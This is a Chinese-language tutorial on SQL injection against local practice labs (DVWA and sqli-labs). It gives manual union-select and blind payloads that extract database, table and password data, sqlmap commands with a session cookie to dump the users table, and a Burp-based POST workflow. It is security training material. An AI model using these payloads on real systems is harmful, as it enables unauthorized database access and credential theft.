一、sqlmap简介
sqlmap就是一个用来做sql注入攻击的工具
二、实例操作
这是我们本次进行sql注入攻击实例的地址:是我自己本地搭建的kali
方法一:手动攻击
1. 确定注入的类型
(1)
- 操作一:在搜索框中输入:1
结果:正确得到搜索结果
- 操作二:在输入框中输入 1’
如果1显示在报错信息里,那么这里就是字符型注入,如果1不在报错信息里的话那就是数字型注入,字符型注入的话在后面操作的时候就需要加个’ 号进行闭合,数字型则不需要
结果: 根据报错内容可知,原本这里是个字符。
红色标注里就是报错的地方,这里显示多了一个’号
2. 布尔查询
- 操作一:输入恒为真的等式,结果如下
- 操作二:输入恒为假的等式,结果如下:
3. 联合查询
' union select 1, database() -- 得到当前数据库名
' union select 1, table_schema from information_schema.tables -- 得到库名
' union select 1, table_name from information_schema.tables -- 得到表名
' union select 1,concat(table_schema,table_name) from information_schema.tables -- 同时得到库名和表名
' union select 1,column_name from information_schema.columns where table_name='users' -- 得到表字段(列名)
' union select user,password from users -- 得到表里的数据
得到上面的密码后再通过MD5进行解密即可
这样我们就得到了登录的帐号密码,或者是想要的数据信息。
方法二:sqlmap自动扫描
首先可以通过sqlmap -h查看讲解
这里我们列出几个常用的命令:
-u "url" 检测注入点
--dbs 列出所有数据库的名字
--current-db 列出当前数据库的名字
-D 指定一个数据库
--tables 列出表名
-T 指定表名
--columns 列出所有的字段名
-C 指定字段
--dump 列出字段内容
我们还是对以下这个页面进行sql注入,这里可以看到只有一个变量id
- 操作一:
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
这里我们只是对id进行sql注入,所以可以省略为
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=1"
这里提示注入需要登录,因为这里页面是需要登录kali以后才能进到的页面,所以这里我们加上cookie
(打开f12,刷新当前页面就能得到cookie)
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=1" --cookie=security=low; PHPSESSID=a0v2lns70dfbtm7oakvdpddi61; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=1" --dbs 得到所有库
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --current-dbs 得到当前库
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" -D "dvwa" --tables 得到dvwa库里所有表
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" -D "dvwa" -T "users" --columns
得到表里所有字段
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" -D "dvwa" -T "users" -C "username,password" --dump 得到字段的值
以上两种方式都是针对GET型,那么如果是POST类型(如后台登录)注入,就需要使用到下面的方法:
1.打开burpsuite工具,设置代理,开启拦截
2.在登录页面随便输入账号和密码,点击登录按钮
3.此时打开burpsuite工具,copy图中位置拦截的请求内容
4. 在服务器的sqlmap里新建文件并放入刚刚复制的内容: vim post.txt
5. sqlmap -r post.txt
输入命令以后就开始自动进行Sql注入测试了
学习视频:https://www.bilibili.com/video/av88225380?p=18
实例链接:https://blog.csdn.net/qq_41420747/article/details/81836327
操作步骤及思路:
对象:http://localhost/sqli-labs-master/Less-1/
–报错注入
- http://localhost/sqli-labs-master/Less-1/?id=1
查看页面是否能够返回不同元素 - http://localhost/sqli-labs-master/Less-1/?id=2
查看页面是否返回不同元素,如果是,则表明数据库的内容会回显到页面上,所以这里如果存在sql注入的话首选联合查询注入
–查看闭合方式(即是数字型还是字符型) - http://localhost/sqli-labs-master/Less-1/?id=1’
页面报错,我们输入的1在报错中有体现,所以属于字符型输入,如果这里没有体现就属于数字型注入
字符型输入的闭合方式是’,数字型不需要闭合
这里1后面有其他的sql语句,所以需要对后面的内容进行注释,用–+或者-- (这里有个空格)
–检测布尔注入 - http://localhost/sqli-labs-master/Less-1/?id=1’ and 1=1 --+
页面正确展示数据 - http://localhost/sqli-labs-master/Less-1/?id=1’ and 1=2 --+
页面数据发生变化
–延时注入 - http://localhost/sqli-labs-master/Less-1/?id=1’ and sleep(5) --+
页面加载等待,此时不用管页面展示什么,只是看加载是否等待
–联合查询 - http://localhost/sqli-labs-master/Less-1/?id=1 and 1=2 union select 1
进行联合查询时需要将前面的语句置为假,然后才会正确展示后面的语句 - http://localhost/sqli-labs-master/Less-1/?id=1 and 1=2 union select 1,2
这里是根据页面提示找到数据的正确列 - http://localhost/sqli-labs-master/Less-1/?id=1 and 1=2 union select 1,version(),3
找到列以后就把字段换成对应的信息,这里如果正确展示了version()的信息那注入测试就结束了,因为能得到version就代表我们能获取到数据库的敏感信息了。